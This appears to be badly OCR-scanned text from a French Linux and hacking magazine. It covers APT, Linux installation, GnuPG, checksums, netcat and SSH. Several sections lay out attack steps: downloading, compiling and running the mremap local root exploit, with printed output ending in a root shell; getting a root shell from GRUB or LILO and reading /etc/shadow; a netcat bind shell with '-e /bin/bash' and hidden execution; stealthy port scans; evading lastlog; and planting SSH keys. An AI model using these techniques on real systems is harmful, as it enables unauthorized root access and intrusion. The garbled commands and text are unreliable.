apt-get...

Tout comme RedHat et Mandrake/Mandriva software avec
leurs systéme RPM's, Debian a développé son propre sys-
téme de gestion de paquetages afin de faciliter l'installation
de programmes et leurs différentes dépendances sur leurs
distributions.

La force d'APT est sa capacité i pouvoir gérer automati-
quement les différentes " sources " d'installation au travers
d'un fichier unique. Je m'explique :-). grice au fichier
tetclapt/sources.list, APT est capable d'installer ou de met-
tre & jour des paquetages en interrogeant automatigue-
ment soit un CDROM, soit FTP, soit toute autre source de
données quasiment sans aucune manipulation de notre part
Si vous éditez le fichier /etc/aptisources list, vous constate-
rez par défaut différentes URL pointant vers des sites
mircirs Debian.

Vaoici la commande pour ajouter une source sur CDROM :
apt—cdrom add

Lorsque par la suite vous lancerez une mise 4 jour ou tout
simplement une installation, APT montera le lecteur, ira
consulter les paquetages disponibles sur le disque et les
ajoutera automatiquement A la base des programmes dis-
ponibles.

Comme pour le systéme RPM, il est important de savoir
qu'APT repose sur une base de données de paquetages
quiil est nécessaire de mettre & jour réguliérement. Pour
effectuer cette mise & jour, lancez de temps en temps la
commande :



apt-get update

Gestion de paquetages

Désinstaller un logiciel :

apt-get remove \

Une fois votre base de données mise a jour

d'un paquerage se révéle étre d'une simplicite déconcer-

tante

Installation d'un logiciel : apt-get install \
Monprogramme

Par cette commande, APT va vérifier dans son sourcesist
toutes ses archives et installera le programme en conse-
quence, Si celui-ci posséde des dépendances, il en fera de
méme et les installera automatiquement.

APT va désinstaller non seulement le logiciel choisi, mais

aussi les dépendances lui appartenant.

Tourt cela n'est qu'une présentation succincte et rapide des
capacités d'APT sous Debian, si vous voulez approfondir le
sujet, je vous invite 4 vous connecter sur le site
tianory Clest une mine d'information.

Bon courage :-)
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Les petits plus de Debian

Le systeme de paquetage de Debian, AFT (Advanced Pack
ce solt un sujet de controverse frequent, APT parait tout

mat RPM de Redhat. Bien qu

ng Tool), exisait avant le for-

de méme plus solide et plus avance. Noamment, les dépendances sont en général plus

faciles &
ficiels plus nombreux.
sources.list

e, las fanctions de recherches plus avancees et les dépots de paquetages inof-

De nombreux lagiciels ne sont pas disponibles dans le dépot officiel de Debian, pourtant

copieux, soit parce qiffil

de test avant d'étre intégrés) soit pour des pro
qui n'est pas rigoureusement libre (en particulier cer-

ple, du lecteur multimedia mpia
rains eodecs). Pour pouvoir l'installer
lete/apt/sources.list T

t trop récent (les paquetage Debian doivent passer-une phase

lemes de it le cas. par exem-

- APT, il suffit dajouter

deb fipififepnerim nec/deblan-marillat/ sid main

Vous poirrez trouver dautre dépots inofficiels

om du logiciel, ainsi que 'deb’ ou
debtags
Depuis quelque temps, tous le!

t de faire des recherc

h ‘userscanning && interface

IWWPA cr

amap - Networl | probing tocl

-new - Interface b

analog - analyzes logfiles from web se
alien

ween MTA and virus scannerfcontent filters

rs

L'utilitaire alien permet de convertir un paquetage APT ou RPM dans un autre format.

Par exemp
§ alien —to
Ou installe
$ alien -i n

un RPM sur Debian :
mdupackage.rpm

Artention, capendant, il
de dé|

wrili

sndanca et fausser [
auir instalier de
naire en RPM.

on peut créer un rpm A partr dun

aut mietix ne pas en abuser. Ce

aquetage Deblan :

v créer des probiémes
otre distribution, €
ou drivers seulement disponibles au formac



Reéaliser l'installation
d'un systéeme que
I'on ne connait pas
est une démarche
qui peut sembler
hasardeuse, voire
risquée. Nous repren-
drons les prérequis
nécessaires a la réa-
lisation convenable
de cette procédure.
En fait, les difficultés
majeures qui ressor-
tent des expériences
des utilisateurs
concernent le " par-
titionnement™ et la
" cohabitation "
simultanée de plu-
sieurs systémes...

Linux 4 proprement parler n'est qu'un noyau. Il permet

l'interaction entre les logiciels et le hardware (le maté-
riel). Il existe donc des " distributions " regroupant le noyau et
des logiciels.
Ce qui distingue une distribution d'une autre c'est donc la
présence de logiciels divers et/ou d'un programme permet-
tant d'installer des logiciels additionnels. Par exemple,
Mandriva [1] est plutdt orienté grand public : tout est pré-
sent par défaut et l'installation est crés facile. Ce qui n'est
pas le cas de Debian [2], qui contient le minimum mais per-
met facilement I'ajout de logiciels via l'utilitaire apt-get. Pour
ma part, j'ai opté pour une Slackware [3] parce que le sys-
téme de démarrage est relativement simple.
Les distributions sont téléchargeables via ftp au format iso,
donc directement gravables.Vous trouverez votre bonheur

Tout dabord, il faut télécharger une distribution Linux.

Notez que cerines distributions wtilisent des noyaux modi-
fiés, donc il n'est pas toujours bon d'avoir la distribution la plus

"% ubuntu

.:u.' line for human beings

exotique pour des questions de performances, de compatibi-
lité, etc.
Dés que votre CD est prét, bootez dessus. 5i du texte
défile dans tous les sens. c'est normal. C'est le noyau qui
affiche le matériel qu'il reconnait et charge les drivers pour
tout faire fonctionner. Normalement, vous devriez arriver
assez rapidement 4 I'étape de partitionnement. Avant, vous
aurez dil passer des formalités comme la configuration du
clavier, la zone horaire... Evitez donc de prendre un clavier
russe, ¢a pourrait compliquer les choses par la suite.
Sous Linux, les disques sont représentés par des fichiers "
devices ", Par exemple, en IDE, /dev/hda représente le pre-
mier disque dur {maitre) ide du pc, /dev/hdb représente le
deuxiéme (esclave).
Lorsque l'on les partitionne, on a /devihdal pour la
premiEre partition du premier disque dur, /devihda4 pour
la quatriéme etc. On va donc partitionner notre disque dur
qui fait en tout 43Go (puisqu'il n'y en a qu'un A I'image) :
- idev/hdb| est monté en / : c'est la base du systéme. Elle
contient aussi /boot, ol sont stockés le noyau et les
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fichiers de démarrage. On prévoit 100 mo.

- /dev/ihdb? est en swap : [a swap est une partition utilisée
comme zone de mémoire vive lorsque la RAM est rem-
plie. Généralement, on alloue le double de la mémoire
vive pour la swap. Mais la RAM est extrémement rapide
comparée & un disque dur. qui fait plutée office de dino-
saure. Bref, investissez dans de la RAM :). Pour les syste-
mes lourdement graphiques, 500 Mo de RAM au moins
seraient nécessaires, ajustez en consequence votre swap
en hiissant au moins 200 MO de marge si possible.

- Idev/hdb3 est monté en fusr : c'est 'emplacement de tous
vos futurs programmes. Normalement, 4Go devraient
&tre amplement suffisants (on n'est jamais trop prudent)

- Idevihdb4 est monté en Jvar; qui contient notamment les
fichiers de log. Prévoir 200Mo.

- /dev/hdb5 est monté en fump. Cette partition est utilisée
pour stocker les fichiers temporaires. |00Mo devraient
étre suffisant.

- /devihdb9 est monté en /home : c'est une partition relati-
vement importante vu que votre compte utilisateur y
figure ! Sa wille dépend de l'utilisation de votre ordina-
reur. Si vous collectionnez les vidéos de votre grand-mere
en vacances, comme moi, prévoyez 38Go.

Il existe également plusieurs File Systems (systéme de ‘
fichiers). Sous Windows, il y a le FAT32 et le NTFS, sous |

On y voit
plusieurs
partitions

Linux, I'Ext2, I'Ext3 et le
ReiserFS. Chacun a ses parti-
cularités sur lesquelles je ne
m'étendrai pas. Si vous ne
voulez pas vous compliquer
la vie, cholsissez Ext3 (cf.I'ar-
ticle sur les LFS).

Pour ceux qui n'ont pas choisi la facilité il y a sous
Slackware le partitionnement avec fdisk (cf. article sur les
LFS).

Au partitionnement succéde l'installation des packages.
Sélectionnez ce qui vous semble utile. Si vous voulez un sys-
téme complet, installez tout. Choisissez le mot de passe
root (le super-utilisateur). Créez votre compte utilisateur.
En effet, IL NE FAUT JAMAIS TRAVAILLER EN ROOT, car
en cas d'erreur, vous risquez de détruire pas mal de choses.
Si vous avez Mandrake, choisissez l'option du Démarrage
graphique avec l'utilisateur toto. Pour les autres, il faut avoir
installé Xfree (le serveur graphigue), un Window Manager
(le programme affichant les menus et les fenétres) et un
Desktop Manager pour gérer l'interface graphique dés le
démarrage (par exemple xdm, kdm ou gdm).

Si vous voulez une interface claire, prenez KDE ou Gnome.
Ensuite, faites installer LILO ou GRUB, ces outils de gestion
du demarrage multi-OS. Finissez, et I'aventure commence
au prochain reboot...
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ici un an, cela faisait 'ouverture du 20 h... Le monde
vemait d'apprendre qu'une nouvelle vulnérabilité affec-
tait le noyau Linux... Et vous, vous vouliez avoir une
preuve du concept. Vous devrez donc apprendre ce que
sont les exploits, oli en trouver, comment les compiler et

les utiliser.

Trouver la perle rare

Rendez-vous donc chez notre cher ami Google. Dans notre
exemple, nous voulons devenir root d'un systéme Linux en
nous attaquant directement au noyau du systéme, appelé le
kernel Linux. En recherche francophone, tapez par exemple
linux local root exploit

On prendra ici comme exemple ce bon viewx mremap, qui
date un peu il est vrai.

Exploit de bas niveau
A présent, vous vous Lrouvez SUr une page au contenu pour
le molns mystique. Il s'agit d'un code source spécifiquement
écrit en langage C. Le fichier porte donc I'extension .c.
Les codes sources écrits en langage C sont monnaie cou-
rante sous Linux. Le langage C est un langage relativement
bas niveau, c'est-a-dire que le développement se fait trés
prache des instructions qui passent sur le systéme, que ce
soit vis-a-vis du noyau, du processeur ou de la mémoire.
Dans votre distribution Linux, il devrait se trouver un petit
outil simple dutilisation du nom de wget, qui permet de
télécharger sur des htep et des fp en console. Connectez-
vous sur votre compte utilisateur et tapez-y (ou enregistrez
la page avec l'extension .c) :
$ wget \

site.com/mremap pte.c
Le fichier se télécharge comme par magie (c'est
Disneyland !).
Il est maintenant nécessaire de compiler ce code pour
permettre son utilisation.

Compilation ?

Pour charger un programme en mémaire avant de l'exécu-
ter, le systéme Linux ne reconnait que des formats de
fichiers spécifiques, ELF, C'est en gros une fagon particuliére
d'écrire le code d'un programme sur le disque dur de sorte

que I'OS puisse prendre en compte différents paramétres
dynamiques. Votre systéme incorpore un compilateur du
nom de GCC, il va nous permettre de compiler notre code
source C en un programme utilisable. Lancez votre compi-
lation en faisant

$ gcc mremap.c -oO mremap

Et voild, vous avez réussi votre premiére compilation
d'exp... de preuve de concept !

Lancez votre exploit

Vous allez tester ¢a directement sur votre machine afin de
vérifier si elle est vulnérable a ce test de faille. Assurez-vous
blen que vous n'étes pas connecté en roet, puls faites /mre-
map et vous devriez obtenir une chose comme suit :

Ainsi soit-il. (Si ga a fonctionné, la seule solution reste de
mettre 4 jour votre noyau... Bonne chance Jim.)

Mise en garde
Certains bouts de code peuvent-étre vulgairement trafi-
qués par leurs auteurs pour ne pas fonctionner, ou faire un
peu plus quexploiter la faille.. Avant de jouer au 55K
(Super Script Kiddie), malheureux, cours lire Le langage (=34
par Brian W, Kernighan et Dennis M. Ritchie, ainsi que
"Programmation systeme en C sous Linux", de Christophe
Blaess. Tu n'en sortiras que grandi (et les éditeurs un peu
plus enrichis...).
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§ goc mremap.c -0 mMremap
$ 1s
mremap.c mremap
$ id

uid=44(pouet) gid=44(groove)
groups=1337(el8)

$ ./mremap
[+] kernel 2.4.24

vulnerable: YES

exploitable YES

MMAP #65526 0x50b£6000 - 0x50b£7000
[+] Success

| # id

uid=0(root) gid=0(root) groups=1337(el8)
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Les bootloaders

LILO et GRUB sont des "bootloaders”. Quand ceux-ci sont
installés sur une machine, ils vont étre exécutés par le BIOS
au démarrage de ['ordinateur. C'est eux qui vont se charger
ensuite de faire démarrer un systeme d'exploitation (Linux,
Windows etc.).

Avec une mauvaise configuration (comme celle par défaut),
LILO et GRUB peuvent permettre & n'importe quelle per-
sonne ayant un accés physique & la machine sur laquelle ils
sont installés d’en prendre le contréle (avoir un shell root
par exemple).

Ces deux bootloaders par défaut donnent un shell spécial
a l'utilisateur démarrant l'ordinateur: Cette invite de com-
mandes sert principalement & définir I'emplacement du
noyau (le périphérique de stockage sur lequel il est, la par-
tition, le nom du fichier etc.). Mais un ataquant peut s'en
servir tout 4 fait différemment. |l peut exécuter un vrai shell
ou lire des fichiers intéressants sur le disque dur : /etc/sha-
dow par exemple, afin de récupérer les mots de passe.
Pour obtenir un shell roor, dans le menu GRUB, il faut tout
d'abord tapper “c” pour passer en mode shell. Il faut ensuite
rentrer les paramétres exacts pour préciser le noyau que
I'on veut démarrer (pour savoir les commandes qu'il faut
taper, il suffit de tapper “e” dans le menu de départ). Afin
d'avoir un shell root, il faut retaper ces commandes en ajou-
tant :

init=/bin/sh

4 Ia fin de la ligne commengant par "kernel...".

Facile non ? Vous voulez aussi saveir comment lire des
fichiers ? Encore plus simple ! Il suffit de taper la commande
roat (par exemple “root (hd0,0)") pour specifier fa parti-
tion oil se trouve le fichier, et ensuite faire comme dans un
shell linux : cat FICHIER (par exemple cat /etc/shadow).
Sous LILO, il suffit de taper "linux single"pour que Linux
démarre en mode mono-utilisateur, et vaus aurez un beau
shell root.

Pour remédier a cela, avec GRUB, c'est trés simple. I suffic
de lui dire de demander un password pour laccés au shell
I suffic d'ajouter au début du fichier /boct/grub/menulst la
ligne suivante :

password --md5 XXX
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XXX désigne le mot de passe crypté en md5 (man grub-
md5-crypt)

Pour protéger LILO, il faut ajouter dans /etc/lilo.conf les
lignes :

password = XXXX

restricted

O xxxx est le mot de passe en clair. Puis relancez le pro-
gramme lilo et, au prochain démarrage. lilo voudra un mot
de passe (en mode single). C'est donc simple de sécuriser
son bootloader ! Et pourtant, moins de 1% des personnes
le font.

Les autres

risques

Une autre technique consiste & essayer de faire démarrer
son propre systéme d'exploitation sur la machine.

Le BIOS, dans de nombreuses configurations, va essayer de
démarrer sur la disquette ou sur un CD-Rom avant de tes-
ter le disque dur.

Mais si le BIOS ne veut pas booter sur autre chose que le
disque dur ? 98% des BIOS n'ont pas de mot de passe. Il suf-
fit donc de dire au BIOS de démarrer sur votre jolie dis-
quette. Si le BIOS vous demande un mot de passe, cela va
compliquer les choses. Dans ce cas, on peut normalement
démonter l'ordinateur, enlever la pile de la carte mére etc.
Il existe aussi des mots de passe génériques crées par le
constructeur, spécifiques @ chaque carte mére... Mais pour
vous sécuriser au mieux, il vaur mieux mettre un mot de
passe i votre BIOS !
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L fenistre de démamrage de Lo sous sa forme tradifionnelie
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signer et crypter

i vous en avez marre
que votre petite sceur
lise votre courrier et

fouille dans vos dossiers per-
sos sur votre disque dur, ou
tout simplement si vous vou-
lez empécher d'autres per-
sonnes d'accéder & des don-
nées sensibles ou confiden-
tielles, GnuPG est fait pour
vous.

GPG (pour les initiales de
Gnu Privacy Guard) est en
fait, vous [l'avez siirement

Beaucoup de personnes ont entendu parler de problémes
de confidentialité liés a Internet. Les échanges d'infor-
mations ne sont pas sirs. En particulier, le courrier élec-
tronique peut étre lu par des tierces personnes et on
n'est jamais certain de la provenance réelle d'un e-mail.

compris, un outil de cryptage
et de signature électronique,
et ce petit outil est trés utile
pour assurer confidentialicé
et discrétion.

Il permet entre autres,
comme tout bon logiciel de
cryptage qui se respecte et

L884588
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Muuncn sant-Supery choamibdimanson conms

Mihoel H. Warliekd <min®WINEnd.coms

Mihasl Nahmth <michaek® nahmath.des

Michas! Richarckon (Gensiol Pupcss Key 2002) <mersondeimen oo
Michael ftone <metone @debian.og>
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Miguel Mencics <Iynn@eneiayha.homeip.net>
Mike Caudl (Cico PSIRT) <meaud échoa.com>

qui est fier de I'étre, de cryp-
ter des données (puisqu'on
vous le dit) 4 laide de clés
publiques ou privées. C'est-
a-dire que vous pouvez utili-

BaLLLs

Moebiul <mosbluz@tena.as

ser ce logiciel pour vous seul

The key has beth o pivate-and a publc part

afin de vous assurer que per-
sonne ne regardera votre
travail, mais vous pouvez
aussi échanger des fichiers
entre amis en partageant vos
clés de cryptage. GnuPG a
de plus cete qualité, en
comparaison avec son équi-

Miguel Coca <a570098@2ipl upm.es>
Key D: 27FCICAS
Fingemiint; ECOA CBFS SCOF914E B6C | CA02 804D CTB8 27FC 3CAS
wxphes

valent propriétaire PGP,
d'étre un logiciel libre.

Dés lors, ces usages
sont les vétres ;

o Signature électronique d'un

Des " Front-end "

document ou d'un fichier pour en assurer la provenance et |

l'authenticité.

# Confidentialité absolue de la correspondance mail (lors
de 'envoi d'un mail, celui-ci est copié sur les multiples
serveurs de vos fournisseurs d'accés Internet, et la loi les
autorise a les conserver plusieurs mois. Les crypter évite
donc quiils solent lus par les curieux fonctionnaires qui n'ont

comme GPA (hitp:/ /www.gnupg.org)
viennent fadliter I'ufilisation de GPG

rien d'autres i faire entre |2 pause-café et la pause-sieste).
' Protection de fichiers sensibles.
Pour les paranciaques et les fans de sécurité, les outils et
, disponible sur son site officiel en

options de ce mini-log

VETNUPE O g, VOUS rassureront et vous per-
mettront de moins stresser lorsque vous transmettrez des
infos importantes. Dommage pour vos frangines.



Si vous étes un
grand fan de télé-
chargement
d'utilitaires sur
les sites FTP ou
simplement s'il
vous arrive de
téelécharger
régulierement
des binaires et
autres, vous avez
sans doute déja
remarqué la pré-

Par exemple :

sence de fichiers Rt
d‘environ une

" a lockdev)
centaine d'octets FHRTEREVASE R
qui portent
comme exten-

sion .sum, .md5
ou encore .sign.

est trés peu probable qu'en téléchargeant un patch ou
un software depuis un site non-officiel vous vous
rerrouviez avec un cheval de Troie, il est préférable d'en

ces fichiers ne sont pas |i par hasard. En effer, méme s'il

vérifier la validité 3 'aide des signatures généralement four-
nies sur le site officiel.

Dol I'utilité de ces perits fichiers qui sont mis i disposition
en méme temps que l'archive et qui vous permettent donc
de vérifier le contenu de votre download et d'éviter de lan-
cer des nuisances. Tout de suite plus utile & vos yeux n'est-
ce pas ! Un checksum comme MDS5 n'a pas pour but de
garantir la provenance d'un fichier ou d'un groupe de
fichiers, ni méme de permettre de retrouver le contenu
d'un fichier a partir de sa signature (car c'est impossible).
Son intéréc est de permettre la vérification de lintégricé
des données. On utilise I'outil md5sum sous Linux pour

: openssl mdd /sbin/*
‘sbin/badblocks)= 654fc74412026b793716a7b8b3d0b519
‘blkid)= 614662856£784a3d780657cc0175109d

1201512cb%d1£46578

Les autres algorithmes
On peut également calculer des sommes de controle cryptographiques en utilisant d'au-
tres algorithmes. Le plus simple est d'installer les outils de openssl.

$ openssl shal /sbin/*

4107282728a7
67e00867378bE
£3728dc8le:

9235f4125ffea
04d60f6101dcd5ce691e574 130 95

MD4 (/shin/cfdisk)= f08eabB555e5050632088773b1363ela

On peut remplacer shal par :md2, md4. ou rmd}60.

créer une signature :

$ mdSsum /etc/passuxd
4f0699285e290bdhact537d7059%d0e8  /etc/passwd
L'utilitaire MDSsum permet tout simplement de vérifier que
la somme de contréle que vous calculerez a partir du fichier
sur vatre disque correspond i la somme calculée lorsque
I'on savait le fichier " propre ". Si la somme différe, votre
fichier est corrompu et vous risquez de rencontrer des probleé-

| mes. Pour la petite histoire, l'algorithme MD5 n'a pas été

congu par n'importe qui puisque c'est le professeur Ronald
L. Rivest (ce grand monsieur est le "R" dans RSA) qui a concu
ce support.

Cet outil recoupe l'utilisation de GPG (voir ci-dessus) car
il se peut que les fichiers téléchargés nécessitent une clé de
cryptage pour pouvoir étre décompressés ou lus.
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etcat est l'outil fétiche de tout |
bon pirate ou programmeur pour
mettre en place un systéme de
sockets utilisant le protocole TCP ou
UDP. Rendez-vous sur :
t e 7t pour vous procurer
cet intrigant instrument.

Netcat en client

Il s'agit d'une utilisation aussi facile
qu'un telnet. Par exemple, pour vous
connecter sur un serveur FTR lancez
un shell et faites :

$ nc -vv ftp.oleane.fr 21

Puis faites 'Enter' pour obrenir:
21 (ftp) open
220 ProFTPD Server(ProFIPD)

Vous venez de vous connecter a un fip,
mais vous pouvez aussi lire vos emails
ou encore vous connecter a un telnet.
L'option -v est le mode "verbose" dit
*bavard”. Il permet de déailler la
connexion, ce qui peut rendre service
lorsqu'elle pose probléme. On [utilise |
quasiment toujours (on en met méme
deux ) dans un souci de clarté.

Netcat en serveur

Vous souhaitez dialoguer avec un ami
par un tunnel de communication direct
? Netcat le permet, en voici un exem-

ple :

La machine de BOB en adresse 1P|
192.168.0.1 lance un ne sur son port
local 1069

$ nc -1 -p 1069

Son ami MARLEY lance un netcat :

$ nc 192.168.0.1 1069

L'option -1 (listen) active ['écoute, sui-
vie de l'option -p (port) pour lui indi- |
quer le port sur lequel il doit &tre en
écoute.

MARLEY veut recevoir une image de
BOB, il urilise simplement
redirection :

$ nc -wv -1 -p 7000 > tof.jpeg

|
une |

BOB envole ['image en effectuant :
$ nc -vv 192.168.0.1
7000 < image.jpeg

Netcat en scanner de port
MARLEY a oubli¢ le port du serveur
FTP de BOB. L'option -w l'aidera a le
retrouver :

5 nc 192.168.0.1 1-100 —w 1 =

Netcar va tenter de se connecter du
port 100 jusqu'au port |, mais pour|
éviter de scanner dans cet ordre, il
existe l'option -r (randomize) qui scan-
nera algatoirement. Le seul inconvé-
nient de cette commande est que
Netcat arréte le scan en cours lorsqu'il
a trouvé un port cuvert. C'est pour
cela que I'option -w | résout ce pro-
bléme. En cas de scan important pour
éviter de se faire repérer, loption -i
permet de spécifier un intervalle de |
temps entre chaque port en mi\lise-l
condes. |
$ nc 192.168.0.1 1-65535
-w 1 -1 50000 -vv

Maintenant, vous étes capables de
manier Netcat en scanner de port
pour arriver 4 des commandes de ce
style : |
$ nc 192.168.0.1 |

1-100 147 666-1337
-w 1 -r =z =i 10000 -wv

Shell-binding

Netcat permet de créer un accés sur
un shell distant en utilisant I'option -e
(execute). Lancez nc sur un port parti-
culier :

$ nc -1 -p 7777 -e /bin/bash

Lorsque la connexion est établie, nc
exécute le programme choisi et relie
I'entrée et la sortie du programme i la
connexion. Ce qui, dans notre exem-
ple, vous donnera directement acces
au shell de
(Sous Windows, en rajoutant ['option -
d, vous pourrez cacher l'application
dans le gestionnaire des tiches, ce qui
peut étre trés intéressant).

la machine sous Linux.

Divers

Mous avons parlé du protocole UDP
Vous avez la possibilité de faire quasi-
ment les mémes opérations qu'en TCP
en rajoutant l'option -u. Un scan de
port UDP est toutefois beaucoup
moins fiable qu'un scan TCP Il est éga-
lement possible de choisir un port
local pour se connecter sur une
machine, ce qui peut rendre service
dans certain cas :

$ nc -vvv irc.worldnet.net
6667 -p 60000

Si vous étes curieux, rendez-vous sur
man nc ou nc -h pour les dérails.
Netcat est un couteau suisse efficace,
indispensable.
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SSH, ca se fume ?
“Secure Shell" est un outil qui permet
d'ouvrir un shell sur une machine dis-
tante de fagon sécurisée. En fonction
des restrictions établies, vous contré-
lerez la machine aussi bien qu'en local.
Le logiciel permet également de creer
des "tunnel” sous le protocole SSH afin
de faire passer n'importe quel proto-
cole i l'intérieur; ce qui laisse la possi-
bilité de rediriger des connexions
aprés les avoir sécurisées. Il existe bien
sir un serveur, couramment appelée
sshd ("d" pour daemon*), un client et
une petite poignée d'autres outils tous
disponibles sur
http://www.openssh.org. SSH étant un
protocole, il existe des versions payan-
tes ou gratuites et diverses d'outils
implémentant SSH, le plus commun
étant ssh (vous suivez 7).

GCa parle

quelle langue 7

I existe deux versions du protocole
SSH. la premisre faisant sentir des
signes de rhumatisme, nous aurcns la
décence de n'utiliser que SSH2.

SSH fonctionne sur authentification
RSA (un algorithme de cryptage
mathématique), et peut utiliser plu-
sieurs algorithmes différents tels 3DES,
IDEA, Blowfish, pour chiffrer la com-
munication. Il utilise un systéme de
cryptage asymétrique, c'est-a-dire avec
une clef de chiffrage différente de la
clef de déchiffrage. La clef privée est
gardée uniquement par le propriétaire
du systeme, alors que la clef publique
est fournie i tous les clients.

Les fichiers utilisés par I'ensemble du
systéme se situent dans le répertoire
"fetc/ssh” alors que les fichiers spécifi-
ques 4 l'utilisateur se situent dans le

Depuis toujours, un grand nombre d'incons-
cients utilisent telnet et autres protocoles
pour accéder aux ressources distantes d'un
ordinateur. Méme si certains de ces proto-
coles transmettent les données en clair sur
le réseau laissant la possibilité d'espionner
le trafic, d'autres traitent les informations de
fagon sécurisée, comme SSH. Aujourd’hui,
ce logiciel est devenu l'interface d'adminis-
tration a distance pour systéme Unix la plus
répandue. Cet outil s'appuie sur le protocole
SSH dont nous ferons des démonstrations
d‘utilisation, heureux veinards.

Avec Foption ~v de 55H, vous pouvez afficher les diverses informations sur
répertaire "ssh”, 3 la racine du | netivité du logidel ssh, tant au niveau du protocole que des awes fichiers.



compte. Comme nous sommes un peu |
feignants, nous vous renvoyons directe-
ment 4 fa page de manuel (1) de SSH,
ol vous trouverez la description des
différents fichiers disponibles ou a |
créer au besoin.

Ca se casse ?

Maintenant, utilisez le client SSH de
votre systéme, dans notre cas nous utl-
liserons "ssh”. Rappelons que la version |
cliente de ssh est composée de ssh, de
sep. de sftp et des outils de gestion de
clefs. Pour vous connecter & un ser- |
veur SSH, faites : "ssh ADRESSE -I
LOGIN p PORT". §i 'option —p n'est |
pas indiquée, le port 22 est choisi par
défaut.

Votre connexion est alors enregistrée

dans un fichier appelé le lastlog, Il s'agit
du fichier journal, consultable avec l'ou-
til "last”. last affiche la liste des derniers
utilisateurs & s'étre connectés en lisant
le contenu du fichier /var/logiwtmp.
Une solution pour utiliser SSH sans
&tre enregistré dans ce fichier (!) est
d'utiliser I'option -T de ssh, qui vous
permet de forcer la non allocation d'un
terminal utilisateur. C'est un peu plus
crade, mais ca passe bien. Malgré cela,
certains systémes (mais pas tous)
pourraient enregistrer I'accés dans le
fichier fvar/log/auth.log, par exemple...

Le serveur détient également une liste
d'hotes autorisés a se connecter avec
une authentification par clefs, ainsi que
les clefs publiques de chaque client. En
pratique, chaque utilisateur peut ins-
crire dans un fichier authorized_keys
(a placer sur le serveur distant dans
~Lsshi) les clefs publiques autorisées.A
chagque fois qu'un client se connectera
sur le serveur, si sa clef privée corres-
pond i l'une des clefs publiques du
fichier authorized_keys, il sera authen- 1
cifie. 1l est supposé qu'une seule

machine {ou utilisateur) au monde

détient la clef privée associée i cette |
clef publique. |

Les commandes d'échappement
: Wigurer ur
appement. En tappant un til

Fait
séquence

il est possible de

accede en a ce menu caché
[Taper -7]
Supported esca;

pend ssh
t forwarded conn
round ssh (when

(Note tha
newline.)

On peut
[Taper ~C]

ssh> -L 8080:google.com:80
Forwarding: port.

Ou verifier que tout est corr
[Taper ~#]

chiffré avec la clef publique, le client
doit &tre en mesure de décrypter le
message, et sil y arrive, il est alors
immédiatement authentifié. En prati-
que, si cette méthode échoue, le client
bascule de fagon transparente sur une
invitation @ taper le mot de passe de
T'utilisateur demandé.

De vicieux pirates (ne vous sentez
pas visés..) pourralent
malicieusement glisser dans le fichier
authorized keys d'un utilisateur souf-
frant de cécité visuelle une clef publi-
que dont eux seuls auraient la clef
privée conforme.

Avant de se connecter, nous allons
devoir créer nos clefs. 55H-keygen per-
met de générer ces clefs. A chaque
création de clef. il vous sera demandé
de rentrer une passphrase. indiquez
une phrase longue et compliquée,

Le serveur propose alors un
au client :le serveur envoie un message |

posée de maj minuscules,
décimaux.

onnection ssh a l'aide d'une
(=) suivi d'une autre touche, on

open:
) 00/0 f£d

seh-keygen -t

paire de clefs
id rsapub”),
rsal

générer votre paire de clefs

Qui
RSAZ ("identit

| "identity.pub”)

A chague nouvelle connexion, la clef
publique d'un serveur est rajourée auto-
matiquement 3 la liste des hotes connus.
Certe liste se trouve dans le fichier "
known_hosts ", dans " ~/ssh/ *. Il existe
de méme un fichier nommé "
ssh_known_hosts " que ladministrateur
doit préparer dans " Jetc/ssh ", Il occu-
pera la méme fonction que le fichier "
known_hosts " mais pour tous les utili-
sateurs de la machine. i ce fichier pré-
sente un intérét dans certains cas parti-
culiers, il reste une trés bonne source
d'informations sur les connexions que
fait passer un utilisateur...



It's tricky !

Dans le lot des outils sympathiques.
basés sur SSH, scp permet la copie
sécurisée de données d'un client vers
un serveur, ou l'inverse. Pour copier un
fichier de votre ordinateur vers le ser-
veur, faites "scp monfichier utilisa-
teur@serveur:~[", et ajoutez ['option
".r* pour copier un répertoire entier.

Pour copier un fichier du serveur vers
votre ordinateur, faites "scp utilisa-
teur@serveur:monfichier /" (n'oubliez
pas le " qui indique qu'il copiera "
monfichier " dans le répertoire ol vous
vous trouvez). Pour copier votre fichier
dans le répertoire de votre choix, rem-
placer le "." par le nom du répertoire.

Satan contrdle

ses démons

Le daemon sshd posséde son fichier de
configuration, il s'agit de "sshd_conf".
Grice a lui, vous allez pouvoir modifier
des options qui détermineront la confi-
guration de votre serveur. Lancez
votre éditeur de texte favori puis vous
n‘aurez qu'a supprimer les "#" (com-

mentaires) et modifier les valeurs "on" |

ou "off" pour que l'option soit prise ou
non en compte par votre systéme.
Voici une petite liste d'options fré-
quemment utilisées :

le

@ "Port 22" définit

connexion du serveur ssh.

port de

» "Protocol 2,1" définit le protocele de |
ssh, je vous conseille de ne laisser

que "2" pour des raisons de sécurité.

s "permitRootlogin no" interdit la

connexion du compte root.

» "PubkeyAuthentication yes" active

l'authentification par clef publique.
= "AuthorizedKeysFile

zed_keys" définit le fichier ol seront
stockées les clefs publiques utilisateurs.
® "PasswordAuthentication yes” autorise
une authentification par mot de

passe.

» "X| |Forwarding yes" permet le

xforwarding.

@ "PrintMotd yes" message de bienvenue

pris de fetc/motd, a peut étre cool.

-sshlauthari-

Automatisation
de la connexion et
Forwarding |

[ wwossoron

local vers un port distant, et 'option "

pour permettre une redirection
d'un port distant vers un port local. Le

Donc, pour linstant vous utilisez une | forwarding permet aussi de passer

connexion semi-automatisée car vous |
| devez toujours entrer votre mot de |

passe. ssh-agent permet d'éviter d'avoir
| 4 le retaper a chaque connexion. Il
stocke les clefs privées en meémoire.
Pour aboutir i ce résultac, il existe la
commande ssh-add. Tapez-la. puis
entrer votre passphrase pour l'enregis-
trer avec Iagent. Pour supprimer une
clef de I'agent, utilisez I'option -d (ssh-
add -d), pour supprimer toutes les
clefs, I'option -D. L'option -| reste prati-
que pour savoir quelles clefs sont enre-
gistrées.

Le forwarding est une technique per-
mettant de relayer des ports grice a
des "tunnels” sous lesquels il est possi-
ble de faire passer n'importe quel pro-
tocole a llintérieur. L'intérét est donc
de protéger un flux qui n'est pas natu- |
rellement crypté, comme pop3 par |
exemple. SSH contient, par miracle,
deux arguments qui sont l'option "-L"
| permettant une redirection d'un port

outre les filtres des réseaux locaux. Si,
par exemple, vous partez de chez vous
en laissant sur vorre port 80 un for-
ward vers un POP3, de votre travail ou
seule la consultation de pages web
(http, port 80) est autorisée, il vous
sera possible de lire vos mails.

Pour une redirection locale, faites
comme ceci :

$ ssh -L 1452:localhost:25 chloe

ssh ouvre un tunnel du port 1452 de la
